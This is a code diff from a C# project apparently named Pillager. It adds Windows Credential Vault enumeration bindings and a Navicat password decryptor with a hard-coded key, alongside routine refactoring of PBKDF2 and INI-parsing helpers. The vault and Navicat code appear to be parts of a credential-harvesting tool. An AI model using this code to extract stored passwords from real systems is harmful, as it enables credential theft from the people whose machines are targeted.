public static extern uint BCryptGetProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbOutput, int cbOutput, ref int pcbResult, uint flags);
|
||||
|
||||
[DllImport("bcrypt.dll", EntryPoint = "BCryptSetProperty")]
|
||||
internal static extern uint BCryptSetAlgorithmProperty(IntPtr hObject, [MarshalAs(UnmanagedType.LPWStr)] string pszProperty, byte[] pbInput, int cbInput, int dwFlags);
|
||||
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptImportKey(IntPtr hAlgorithm,
|
||||
IntPtr hImportKey,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
|
||||
out IntPtr phKey,
|
||||
IntPtr pbKeyObject,
|
||||
int cbKeyObject,
|
||||
byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
|
||||
int cbInput,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptDestroyKey(IntPtr hKey);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
internal static extern uint BCryptDecrypt(IntPtr hKey,
|
||||
byte[] pbInput,
|
||||
int cbInput,
|
||||
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
|
||||
byte[] pbIV,
|
||||
int cbIV,
|
||||
byte[] pbOutput,
|
||||
int cbOutput,
|
||||
ref int pcbResult,
|
||||
int dwFlags);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_PSS_PADDING_INFO
|
||||
{
|
||||
public BCRYPT_PSS_PADDING_INFO(string pszAlgId, int cbSalt)
|
||||
{
|
||||
this.pszAlgId = pszAlgId;
|
||||
this.cbSalt = cbSalt;
|
||||
}
|
||||
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pszAlgId;
|
||||
public int cbSalt;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO : IDisposable
|
||||
{
|
||||
public int cbSize;
|
||||
public int dwInfoVersion;
|
||||
public IntPtr pbNonce;
|
||||
public int cbNonce;
|
||||
public IntPtr pbAuthData;
|
||||
public int cbAuthData;
|
||||
public IntPtr pbTag;
|
||||
public int cbTag;
|
||||
public IntPtr pbMacContext;
|
||||
public int cbMacContext;
|
||||
public int cbAAD;
|
||||
public long cbData;
|
||||
public int dwFlags;
|
||||
|
||||
public BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(byte[] iv, byte[] aad, byte[] tag) : this()
|
||||
{
|
||||
dwInfoVersion = BCRYPT_INIT_AUTH_MODE_INFO_VERSION;
|
||||
cbSize = Marshal.SizeOf(typeof(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO));
|
||||
|
||||
if (iv != null)
|
||||
{
|
||||
cbNonce = iv.Length;
|
||||
pbNonce = Marshal.AllocHGlobal(cbNonce);
|
||||
Marshal.Copy(iv, 0, pbNonce, cbNonce);
|
||||
}
|
||||
|
||||
if (aad != null)
|
||||
{
|
||||
cbAuthData = aad.Length;
|
||||
pbAuthData = Marshal.AllocHGlobal(cbAuthData);
|
||||
Marshal.Copy(aad, 0, pbAuthData, cbAuthData);
|
||||
}
|
||||
|
||||
if (tag != null)
|
||||
{
|
||||
cbTag = tag.Length;
|
||||
pbTag = Marshal.AllocHGlobal(cbTag);
|
||||
Marshal.Copy(tag, 0, pbTag, cbTag);
|
||||
|
||||
cbMacContext = tag.Length;
|
||||
pbMacContext = Marshal.AllocHGlobal(cbMacContext);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (pbNonce != IntPtr.Zero) Marshal.FreeHGlobal(pbNonce);
|
||||
if (pbTag != IntPtr.Zero) Marshal.FreeHGlobal(pbTag);
|
||||
if (pbAuthData != IntPtr.Zero) Marshal.FreeHGlobal(pbAuthData);
|
||||
if (pbMacContext != IntPtr.Zero) Marshal.FreeHGlobal(pbMacContext);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct BCRYPT_OAEP_PADDING_INFO
|
||||
{
|
||||
public BCRYPT_OAEP_PADDING_INFO(string alg)
|
||||
{
|
||||
pszAlgId = alg;
|
||||
pbLabel = IntPtr.Zero;
|
||||
cbLabel = 0;
|
||||
}
|
||||
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pszAlgId;
|
||||
public IntPtr pbLabel;
|
||||
public int cbLabel;
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region VaultCli
|
||||
public enum VAULT_ELEMENT_TYPE
|
||||
{
|
||||
Undefined = -1,
|
||||
Boolean = 0,
|
||||
Short = 1,
|
||||
UnsignedShort = 2,
|
||||
Int = 3,
|
||||
UnsignedInt = 4,
|
||||
Double = 5,
|
||||
Guid = 6,
|
||||
String = 7,
|
||||
ByteArray = 8,
|
||||
TimeStamp = 9,
|
||||
ProtectedArray = 10,
|
||||
Attribute = 11,
|
||||
Sid = 12,
|
||||
Last = 13
|
||||
}
|
||||
|
||||
public enum VAULT_SCHEMA_ELEMENT_ID
|
||||
{
|
||||
Illegal = 0,
|
||||
Resource = 1,
|
||||
Identity = 2,
|
||||
Authenticator = 3,
|
||||
Tag = 4,
|
||||
PackageSid = 5,
|
||||
AppStart = 100,
|
||||
AppEnd = 10000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
|
||||
public struct VAULT_ITEM_WIN8
|
||||
{
|
||||
public Guid SchemaId;
|
||||
public IntPtr pszCredentialFriendlyName;
|
||||
public IntPtr pResourceElement;
|
||||
public IntPtr pIdentityElement;
|
||||
public IntPtr pAuthenticatorElement;
|
||||
public IntPtr pPackageSid;
|
||||
public UInt64 LastModified;
|
||||
public UInt32 dwFlags;
|
||||
public UInt32 dwPropertiesCount;
|
||||
public IntPtr pPropertyElements;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
|
||||
public struct VAULT_ITEM_WIN7
|
||||
{
|
||||
public Guid SchemaId;
|
||||
public IntPtr pszCredentialFriendlyName;
|
||||
public IntPtr pResourceElement;
|
||||
public IntPtr pIdentityElement;
|
||||
public IntPtr pAuthenticatorElement;
|
||||
public UInt64 LastModified;
|
||||
public UInt32 dwFlags;
|
||||
public UInt32 dwPropertiesCount;
|
||||
public IntPtr pPropertyElements;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)]
|
||||
public struct VAULT_ITEM_ELEMENT
|
||||
{
|
||||
[FieldOffset(0)] public VAULT_SCHEMA_ELEMENT_ID SchemaElementId;
|
||||
[FieldOffset(8)] public VAULT_ELEMENT_TYPE Type;
|
||||
}
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public static extern int VaultOpenVault(ref Guid vaultGuid, uint offset, ref IntPtr vaultHandle);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public static extern int VaultEnumerateVaults(int offset, ref int vaultCount, ref IntPtr vaultGuid);
|
||||
|
||||
[DllImport("vaultcli.dll")]
|
||||
public static extern int VaultEnumerateItems(IntPtr vaultHandle, int chunkSize, ref int vaultItemCount, ref IntPtr vaultItem);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
public static extern int VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, int arg6, ref IntPtr passwordVaultPtr);
|
||||
|
||||
[DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")]
|
||||
public static extern int VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, int arg5, ref IntPtr passwordVaultPtr);
|
||||
|
||||
#endregion
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,77 @@
|
|||
using System;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
class Navicat11Cipher
|
||||
{
|
||||
|
||||
private Blowfish blowfishCipher;
|
||||
|
||||
protected static byte[] StringToByteArray(string hex)
|
||||
{
|
||||
return Enumerable.Range(0, hex.Length)
|
||||
.Where(x => x % 2 == 0)
|
||||
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
|
||||
.ToArray();
|
||||
}
|
||||
|
||||
protected static void XorBytes(byte[] a, byte[] b, int len)
|
||||
{
|
||||
for (int i = 0; i < len; ++i)
|
||||
a[i] ^= b[i];
|
||||
}
|
||||
|
||||
public Navicat11Cipher()
|
||||
{
|
||||
byte[] UserKey = Encoding.UTF8.GetBytes("3DC5CA39");
|
||||
var sha1 = new SHA1CryptoServiceProvider();
|
||||
sha1.TransformFinalBlock(UserKey, 0, UserKey.Length);
|
||||
blowfishCipher = new Blowfish(sha1.Hash);
|
||||
}
|
||||
|
||||
public Navicat11Cipher(string CustomUserKey)
|
||||
{
|
||||
byte[] UserKey = Encoding.UTF8.GetBytes(CustomUserKey);
|
||||
var sha1 = new SHA1CryptoServiceProvider();
|
||||
byte[] UserKeyHash = sha1.TransformFinalBlock(UserKey, 0, 8);
|
||||
blowfishCipher = new Blowfish(UserKeyHash);
|
||||
}
|
||||
|
||||
public string DecryptString(string ciphertext)
|
||||
{
|
||||
byte[] ciphertext_bytes = StringToByteArray(ciphertext);
|
||||
|
||||
byte[] CV = Enumerable.Repeat<byte>(0xFF, Blowfish.BlockSize).ToArray();
|
||||
blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
|
||||
|
||||
byte[] ret = new byte[0];
|
||||
int blocks_len = ciphertext_bytes.Length / Blowfish.BlockSize;
|
||||
int left_len = ciphertext_bytes.Length % Blowfish.BlockSize;
|
||||
byte[] temp = new byte[Blowfish.BlockSize];
|
||||
byte[] temp2 = new byte[Blowfish.BlockSize];
|
||||
for (int i = 0; i < blocks_len; ++i)
|
||||
{
|
||||
Array.Copy(ciphertext_bytes, Blowfish.BlockSize * i, temp, 0, Blowfish.BlockSize);
|
||||
Array.Copy(temp, temp2, Blowfish.BlockSize);
|
||||
blowfishCipher.Decrypt(temp, Blowfish.Endian.Big);
|
||||
XorBytes(temp, CV, Blowfish.BlockSize);
|
||||
ret = ret.Concat(temp).ToArray();
|
||||
XorBytes(CV, temp2, Blowfish.BlockSize);
|
||||
}
|
||||
|
||||
if (left_len != 0)
|
||||
{
|
||||
Array.Clear(temp, 0, temp.Length);
|
||||
Array.Copy(ciphertext_bytes, Blowfish.BlockSize * blocks_len, temp, 0, left_len);
|
||||
blowfishCipher.Encrypt(CV, Blowfish.Endian.Big);
|
||||
XorBytes(temp, CV, Blowfish.BlockSize);
|
||||
ret = ret.Concat(temp.Take(left_len).ToArray()).ToArray();
|
||||
}
|
||||
|
||||
return Encoding.UTF8.GetString(ret);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -4,6 +4,7 @@
|
|||
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
|
@ -20,7 +21,7 @@ namespace Pillager.Helper
|
|||
/// }
|
||||
/// </code>
|
||||
/// </example>
|
||||
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Pbkdf", Justification = "Spelling is correct.")]
|
||||
[SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Pbkdf", Justification = "Spelling is correct.")]
|
||||
public class Pbkdf2 {
|
||||
|
||||
/// <summary>
|
||||
|
@ -31,16 +32,13 @@ namespace Pillager.Helper
|
|||
/// <param name="salt">The key salt used to derive the key.</param>
|
||||
/// <param name="iterations">The number of iterations for the operation.</param>
|
||||
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
|
||||
public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt, Int32 iterations) {
|
||||
if (algorithm == null) { throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); }
|
||||
if (salt == null) { throw new ArgumentNullException("salt", "Salt cannot be null."); }
|
||||
if (password == null) { throw new ArgumentNullException("password", "Password cannot be null."); }
|
||||
this.Algorithm = algorithm;
|
||||
this.Algorithm.Key = password;
|
||||
this.Salt = salt;
|
||||
this.IterationCount = iterations;
|
||||
this.BlockSize = this.Algorithm.HashSize / 8;
|
||||
this.BufferBytes = new byte[this.BlockSize];
|
||||
public Pbkdf2(HMAC algorithm, byte[] password, byte[] salt, int iterations) {
|
||||
Algorithm = algorithm ?? throw new ArgumentNullException(nameof(algorithm), "Algorithm cannot be null.");
|
||||
Algorithm.Key = password ?? throw new ArgumentNullException(nameof(password), "Password cannot be null.");
|
||||
Salt = salt ?? throw new ArgumentNullException(nameof(salt), "Salt cannot be null.");
|
||||
IterationCount = iterations;
|
||||
BlockSize = Algorithm.HashSize / 8;
|
||||
BufferBytes = new byte[BlockSize];
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -50,7 +48,7 @@ namespace Pillager.Helper
|
|||
/// <param name="password">The password used to derive the key.</param>
|
||||
/// <param name="salt">The key salt used to derive the key.</param>
|
||||
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
|
||||
public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt)
|
||||
public Pbkdf2(HMAC algorithm, byte[] password, byte[] salt)
|
||||
: this(algorithm, password, salt, 1000) {
|
||||
}
|
||||
|
||||
|
@ -62,7 +60,7 @@ namespace Pillager.Helper
|
|||
/// <param name="salt">The key salt used to derive the key.</param>
|
||||
/// <param name="iterations">The number of iterations for the operation.</param>
|
||||
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
|
||||
public Pbkdf2(HMAC algorithm, String password, String salt, Int32 iterations) :
|
||||
public Pbkdf2(HMAC algorithm, string password, string salt, int iterations) :
|
||||
this(algorithm, UTF8Encoding.UTF8.GetBytes(password), UTF8Encoding.UTF8.GetBytes(salt), iterations) {
|
||||
}
|
||||
|
||||
|
@ -73,7 +71,7 @@ namespace Pillager.Helper
|
|||
/// <param name="password">The password used to derive the key.</param>
|
||||
/// <param name="salt">The key salt used to derive the key.</param>
|
||||
/// <exception cref="System.ArgumentNullException">Algorithm cannot be null - Password cannot be null. -or- Salt cannot be null.</exception>
|
||||
public Pbkdf2(HMAC algorithm, String password, String salt) :
|
||||
public Pbkdf2(HMAC algorithm, string password, string salt) :
|
||||
this(algorithm, password, salt, 1000) {
|
||||
}
|
||||
|
||||
|
@ -82,8 +80,8 @@ namespace Pillager.Helper
|
|||
private uint BlockIndex = 1;
|
||||
|
||||
private byte[] BufferBytes;
|
||||
private int BufferStartIndex = 0;
|
||||
private int BufferEndIndex = 0;
|
||||
private int BufferStartIndex;
|
||||
private int BufferEndIndex;
|
||||
|
||||
|
||||
/// <summary>
|
||||
|
@ -94,13 +92,13 @@ namespace Pillager.Helper
|
|||
/// <summary>
|
||||
/// Gets salt bytes.
|
||||
/// </summary>
|
||||
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification = "Byte array is proper return value in this case.")]
|
||||
public Byte[] Salt { get; private set; }
|
||||
[SuppressMessage("Microsoft.Performance", "CA1819:PropertiesShouldNotReturnArrays", Justification = "Byte array is proper return value in this case.")]
|
||||
public byte[] Salt { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Gets iteration count.
|
||||
/// </summary>
|
||||
public Int32 IterationCount { get; private set; }
|
||||
public int IterationCount { get; private set; }
|
||||
|
||||
|
||||
/// <summary>
|
||||
|
@ -108,32 +106,32 @@ namespace Pillager.Helper
|
|||
/// </summary>
|
||||
/// <param name="count">Number of bytes to return.</param>
|
||||
/// <returns>Byte array.</returns>
|
||||
public Byte[] GetBytes(int count) {
|
||||
public byte[] GetBytes(int count) {
|
||||
byte[] result = new byte[count];
|
||||
int resultOffset = 0;
|
||||
int bufferCount = this.BufferEndIndex - this.BufferStartIndex;
|
||||
int bufferCount = BufferEndIndex - BufferStartIndex;
|
||||
|
||||
if (bufferCount > 0) { //if there is some data in buffer
|
||||
if (count < bufferCount) { //if there is enough data in buffer
|
||||
Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, count);
|
||||
this.BufferStartIndex += count;
|
||||
Buffer.BlockCopy(BufferBytes, BufferStartIndex, result, 0, count);
|
||||
BufferStartIndex += count;
|
||||
return result;
|
||||
}
|
||||
Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, bufferCount);
|
||||
this.BufferStartIndex = this.BufferEndIndex = 0;
|
||||
Buffer.BlockCopy(BufferBytes, BufferStartIndex, result, 0, bufferCount);
|
||||
BufferStartIndex = BufferEndIndex = 0;
|
||||
resultOffset += bufferCount;
|
||||
}
|
||||
|
||||
while (resultOffset < count) {
|
||||
int needCount = count - resultOffset;
|
||||
this.BufferBytes = this.Func();
|
||||
if (needCount > this.BlockSize) { //we one (or more) additional passes
|
||||
Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, this.BlockSize);
|
||||
resultOffset += this.BlockSize;
|
||||
BufferBytes = Func();
|
||||
if (needCount > BlockSize) { //we one (or more) additional passes
|
||||
Buffer.BlockCopy(BufferBytes, 0, result, resultOffset, BlockSize);
|
||||
resultOffset += BlockSize;
|
||||
} else {
|
||||
Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, needCount);
|
||||
this.BufferStartIndex = needCount;
|
||||
this.BufferEndIndex = this.BlockSize;
|
||||
Buffer.BlockCopy(BufferBytes, 0, result, resultOffset, needCount);
|
||||
BufferStartIndex = needCount;
|
||||
BufferEndIndex = BlockSize;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
@ -142,20 +140,20 @@ namespace Pillager.Helper
|
|||
|
||||
|
||||
private byte[] Func() {
|
||||
var hash1Input = new byte[this.Salt.Length + 4];
|
||||
Buffer.BlockCopy(this.Salt, 0, hash1Input, 0, this.Salt.Length);
|
||||
Buffer.BlockCopy(GetBytesFromInt(this.BlockIndex), 0, hash1Input, this.Salt.Length, 4);
|
||||
var hash1 = this.Algorithm.ComputeHash(hash1Input);
|
||||
var hash1Input = new byte[Salt.Length + 4];
|
||||
Buffer.BlockCopy(Salt, 0, hash1Input, 0, Salt.Length);
|
||||
Buffer.BlockCopy(GetBytesFromInt(BlockIndex), 0, hash1Input, Salt.Length, 4);
|
||||
var hash1 = Algorithm.ComputeHash(hash1Input);
|
||||
|
||||
byte[] finalHash = hash1;
|
||||
for (int i = 2; i <= this.IterationCount; i++) {
|
||||
hash1 = this.Algorithm.ComputeHash(hash1, 0, hash1.Length);
|
||||
for (int j = 0; j < this.BlockSize; j++) {
|
||||
for (int i = 2; i <= IterationCount; i++) {
|
||||
hash1 = Algorithm.ComputeHash(hash1, 0, hash1.Length);
|
||||
for (int j = 0; j < BlockSize; j++) {
|
||||
finalHash[j] = (byte)(finalHash[j] ^ hash1[j]);
|
||||
}
|
||||
}
|
||||
if (this.BlockIndex == uint.MaxValue) { throw new InvalidOperationException("Derived key too long."); }
|
||||
this.BlockIndex += 1;
|
||||
if (BlockIndex == uint.MaxValue) { throw new InvalidOperationException("Derived key too long."); }
|
||||
BlockIndex += 1;
|
||||
|
||||
return finalHash;
|
||||
}
|
||||
|
@ -163,10 +161,10 @@ namespace Pillager.Helper
|
|||
private static byte[] GetBytesFromInt(uint i) {
|
||||
var bytes = BitConverter.GetBytes(i);
|
||||
if (BitConverter.IsLittleEndian) {
|
||||
return new byte[] { bytes[3], bytes[2], bytes[1], bytes[0] };
|
||||
} else {
|
||||
return bytes;
|
||||
return new[] { bytes[3], bytes[2], bytes[1], bytes[0] };
|
||||
}
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
|
|
|
@ -1,8 +1,9 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
|
@ -16,7 +17,7 @@ namespace Pillager.Helper
|
|||
Comment,
|
||||
KeyValue,
|
||||
Section,
|
||||
};
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// This struct contains info about a single ini line
|
||||
|
@ -62,10 +63,11 @@ namespace Pillager.Helper
|
|||
public static bool IsWhiteSpace(this string input)
|
||||
{
|
||||
//check for any Non-whitespace characters in the string
|
||||
for (int i = 0; i < input.Length; i++)
|
||||
foreach (var t in input)
|
||||
{
|
||||
if (!char.IsWhiteSpace(input[i])) return false;
|
||||
if (!char.IsWhiteSpace(t)) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
@ -98,8 +100,6 @@ namespace Pillager.Helper
|
|||
/// </summary>
|
||||
public class Pixini
|
||||
{
|
||||
public const string VERSION = "0.25";
|
||||
|
||||
/// <summary>
|
||||
/// If a key/value is not under a specific section, it goes in the default section
|
||||
/// </summary>
|
||||
|
@ -213,7 +213,6 @@ namespace Pillager.Helper
|
|||
if (section[i].key.ToLower() == keyLowerCase)
|
||||
{
|
||||
index = i;
|
||||
iniLine = section[i];
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -221,9 +220,8 @@ namespace Pillager.Helper
|
|||
{
|
||||
iniLine = section[index];
|
||||
|
||||
IniLine info;
|
||||
//If ParseValue returns false just set it = value
|
||||
if (ParseValue(value, 0, out info))
|
||||
if (ParseValue(value, 0, out var info))
|
||||
{
|
||||
iniLine.value = info.value;
|
||||
iniLine.quotechar = info.quotechar;
|
||||
|
@ -238,9 +236,8 @@ namespace Pillager.Helper
|
|||
}
|
||||
else
|
||||
{
|
||||
IniLine info;
|
||||
if (!ParseValue(value, 0, out info))
|
||||
section.Add(new IniLine() { type = LineType.KeyValue, section = sectionName, key = key, value = value, quotechar = '\0' });
|
||||
if (!ParseValue(value, 0, out var info))
|
||||
section.Add(new IniLine { type = LineType.KeyValue, section = sectionName, key = key, value = value, quotechar = '\0' });
|
||||
else
|
||||
{
|
||||
info.section = sectionName;
|
||||
|
@ -254,12 +251,11 @@ namespace Pillager.Helper
|
|||
sectionMap[sectionName] = new List<IniLine>();
|
||||
|
||||
//Add the new Section Name if needed
|
||||
AddIniLine(new IniLine() { type = LineType.Section, section = sectionName });
|
||||
AddIniLine(new IniLine { type = LineType.Section, section = sectionName });
|
||||
|
||||
//Set the current section to the new one we just created
|
||||
IniLine info;
|
||||
if (!ParseValue(value, 0, out info))
|
||||
AddIniLine(new IniLine() { type = LineType.KeyValue, section = sectionName, key = key, value = value });
|
||||
if (!ParseValue(value, 0, out var info))
|
||||
AddIniLine(new IniLine { type = LineType.KeyValue, section = sectionName, key = key, value = value });
|
||||
else
|
||||
{
|
||||
info.section = sectionName;
|
||||
|
@ -387,34 +383,32 @@ namespace Pillager.Helper
|
|||
/// <param name="sectionName"></param>
|
||||
/// <param name="defaultVal"></param>
|
||||
/// <returns></returns>
|
||||
public T Get<T>(string key, string sectionName = DEFAULT_SECTION, T defaultVal = default(T))
|
||||
public T Get<T>(string key, string sectionName = DEFAULT_SECTION, T defaultVal = default)
|
||||
{
|
||||
string val = this[key, sectionName];
|
||||
|
||||
var converter = System.ComponentModel.TypeDescriptor.GetConverter(typeof(T));
|
||||
var converter = TypeDescriptor.GetConverter(typeof(T));
|
||||
|
||||
if (string.IsNullOrEmpty(val) || !converter.CanConvertFrom(typeof(string)))
|
||||
{
|
||||
return defaultVal;
|
||||
}
|
||||
else
|
||||
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
var Tval = converter.ConvertFrom(val);
|
||||
return (T)Tval;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//eat the exception and return the default value
|
||||
return defaultVal;
|
||||
}
|
||||
var Tval = converter.ConvertFrom(val);
|
||||
return (T)Tval;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//eat the exception and return the default value
|
||||
return defaultVal;
|
||||
}
|
||||
}
|
||||
|
||||
public void Set<T>(string key, string sectionName, T val) => this[key, sectionName] = val.ToString();
|
||||
|
||||
public void Set<T>(string key, T val) => this[key, DEFAULT_SECTION] = val.ToString();
|
||||
public void Set<T>(string key, T val) => this[key] = val.ToString();
|
||||
|
||||
#endregion
|
||||
|
||||
|
@ -432,35 +426,28 @@ namespace Pillager.Helper
|
|||
/// <returns>The array or null if it does not exist or cannot be converted to the given type T</returns>
|
||||
public T[] GetArr<T>(string key, string sectionName = DEFAULT_SECTION)
|
||||
{
|
||||
IniLine iniLine;
|
||||
var converter = System.ComponentModel.TypeDescriptor.GetConverter(typeof(T));
|
||||
if (!GetLineInfo(key, sectionName, out iniLine) || iniLine.array == null)
|
||||
var converter = TypeDescriptor.GetConverter(typeof(T));
|
||||
if (!GetLineInfo(key, sectionName, out var iniLine) || iniLine.array == null)
|
||||
return null;
|
||||
else
|
||||
T[] arr = iniLine.array.Select(val =>
|
||||
{
|
||||
T[] arr = null;
|
||||
arr = iniLine.array.Select(val =>
|
||||
if (string.IsNullOrEmpty(val) || !converter.CanConvertFrom(typeof(string)))
|
||||
{
|
||||
if (string.IsNullOrEmpty(val) || !converter.CanConvertFrom(typeof(string)))
|
||||
{
|
||||
return default(T);
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
var Tval = converter.ConvertFrom(val);
|
||||
return (T)Tval;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//eat the exception and return the default value
|
||||
return default(T);
|
||||
}
|
||||
}
|
||||
}).ToArray();
|
||||
return arr;
|
||||
}
|
||||
return default(T);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
var Tval = converter.ConvertFrom(val);
|
||||
return (T)Tval;
|
||||
}
|
||||
catch
|
||||
{
|
||||
//eat the exception and return the default value
|
||||
return default(T);
|
||||
}
|
||||
}).ToArray();
|
||||
return arr;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -472,19 +459,15 @@ namespace Pillager.Helper
|
|||
/// <returns>true on success, false otherwise</returns>
|
||||
public bool SetA<T>(string key, string sectionName, params T[] vals)
|
||||
{
|
||||
IniLine iniLine;
|
||||
if (!GetLineInfo(key, sectionName, out iniLine) || iniLine.array == null)
|
||||
if (!GetLineInfo(key, sectionName, out var iniLine) || iniLine.array == null)
|
||||
return false;
|
||||
else
|
||||
{
|
||||
iniLine.value = null;
|
||||
iniLine.array = vals.Select((val) => val.ToString()).ToArray();
|
||||
iniLine.quotechar = '\0';
|
||||
iniLine.value = null;
|
||||
iniLine.array = vals.Select(val => val.ToString()).ToArray();
|
||||
iniLine.quotechar = '\0';
|
||||
|
||||
//Since we are dealing with structs, we must replace the actual struct instance in the section list...
|
||||
ReplaceIniLine(iniLine);
|
||||
return true;
|
||||
}
|
||||
//Since we are dealing with structs, we must replace the actual struct instance in the section list...
|
||||
ReplaceIniLine(iniLine);
|
||||
return true;
|
||||
}
|
||||
|
||||
public bool SetA<T>(string key, params T[] vals) => SetA(key, DEFAULT_SECTION, vals);
|
||||
|
@ -511,9 +494,8 @@ namespace Pillager.Helper
|
|||
sectionName = sectionName.ToLower();
|
||||
key = key.ToLower();
|
||||
|
||||
List<IniLine> section;
|
||||
int index = -1;
|
||||
if (sectionMap.TryGetValue(sectionName, out section))
|
||||
if (sectionMap.TryGetValue(sectionName, out var section))
|
||||
{
|
||||
//Search through the list to find the key if it exists
|
||||
for (int i = 0; i < section.Count; i++)
|
||||
|
@ -558,11 +540,10 @@ namespace Pillager.Helper
|
|||
/// <returns>true if section was deleted, false otherwise</returns>
|
||||
public bool DeleteSection(string sectionName)
|
||||
{
|
||||
List<IniLine> section;
|
||||
//Section names are case insensitive
|
||||
sectionName = sectionName.ToLower();
|
||||
|
||||
if (sectionMap.TryGetValue(sectionName, out section))
|
||||
if (sectionMap.TryGetValue(sectionName, out var section))
|
||||
{
|
||||
section.Clear();
|
||||
sectionMap[sectionName] = null;
|
||||
|
@ -597,11 +578,9 @@ namespace Pillager.Helper
|
|||
/// <returns>true if the key data is an array, false otherwise</returns>
|
||||
public bool IsArray(string key, string sectionName = DEFAULT_SECTION)
|
||||
{
|
||||
IniLine info;
|
||||
if (GetLineInfo(key, sectionName, out info))
|
||||
if (GetLineInfo(key, sectionName, out var info))
|
||||
return info.IsArray;
|
||||
else
|
||||
return false;
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
|
@ -633,8 +612,7 @@ namespace Pillager.Helper
|
|||
void HandleDefaultSection()
|
||||
{
|
||||
//Here we look for the default section. If we don't find one, no worries
|
||||
List<IniLine> defsection;
|
||||
if (sectionMap.TryGetValue(defaultSectionLowerCased, out defsection))
|
||||
if (sectionMap.TryGetValue(defaultSectionLowerCased, out var defsection))
|
||||
{
|
||||
//If there is a section header in here and it is NOT the first item in the list, move it to BEFORE the first key value pair
|
||||
//This lets us support comments before the first section header
|
||||
|
@ -662,7 +640,7 @@ namespace Pillager.Helper
|
|||
}
|
||||
if (insertIndex != -1)
|
||||
{
|
||||
defsection.Insert(insertIndex, new IniLine() { type = LineType.Section, section = DEFAULT_SECTION });
|
||||
defsection.Insert(insertIndex, new IniLine { type = LineType.Section, section = DEFAULT_SECTION });
